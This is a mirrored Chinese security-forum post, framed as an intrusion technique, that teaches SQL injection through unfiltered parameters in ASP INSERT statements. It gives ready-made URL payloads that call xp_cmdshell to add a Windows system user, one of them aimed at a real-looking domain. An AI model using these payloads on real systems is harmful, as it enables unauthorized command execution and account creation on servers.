返回信息流关于SQL注入,以前常用的或很多朋友所懂的也只不过是在select 语句中ID=变量未过产生的注入点,例如http://www.gzint.com/xxx.asp?id=1 ;exec master..xp_cmdshell "net user xiaomo aa /add"--
=============================================
我们可否利用insert Into Table的语句进行注入呢?
这样的话,我们可以在某某有漏洞的网站上填写QQ或Email或地址的地方执行任何命令了哦.
记得以前粗略地和"乱刀"讨论过,不过一直没有实际行动,刚才发现了一下,原来真的可以做到这一点。呵呵。举下例:
某个页面xiaomo.asp中有如下一句代码:
Conn.execute "insert into admin (adminid,password,logintimes,usertype,level) values (’1’,’1’,’1’,’1’,’"&Request("u")&"’)"
我们可以利用Request("U")未过滤的变量执行任意系统命令.
这段很简单,Request("U")在语句后面,直接提交:
http://localhost/xiaomo.asp?u=2’);exec master..xp_cmdshell "net user xiaomo aa /add"--
便可添加一个xiaomo密码为aa的系统用户
因为构造的代码变成了:
Conn.execute "insert into admin (adminid,password,logintimes,usertype,level) values (’1’,’1’,’1’,’1’,’2’);exec master..xp_cmdshell "net user xiaomo aa /add"--
当然理所当然地"正确"执行了。
=============================================
我们换个思路,如果页面中的漏洞代码是:
Conn.execute "insert into admin (adminid,password,logintimes,usertype,level) values (’"&Request("u")&"’,’1’,’1’,’1’,’1’)"
Request("u")跑到前面去了,这该怎么办呢?
其实也很简单,变通一下即可,提交:
http://localhost/xiaomo.asp?u=3’,’1’,’1’,’1’,’1’);exec master..xp_cmdshell "net user xiaomo aa /add"----
看出来了没?第一个变量代表了要写入的所有变量,而后面就不而而至了,哈哈。。
但有个问题是,我们必须得知道对方语句是怎么写,利在检查指定程序漏洞时所应用。
这是一条镜像帖。来源:北邮人论坛 / security / #80同步于 1 周前
Security机器人发帖
转载: 巧用insert Into 进行入侵注入
zcm5302005
1 周前镜像同步0 回复
订阅后,新回复会通过你的通知中心匿名送达。
0 条回复
暂无回复 · 你可以订阅本帖等待新回复。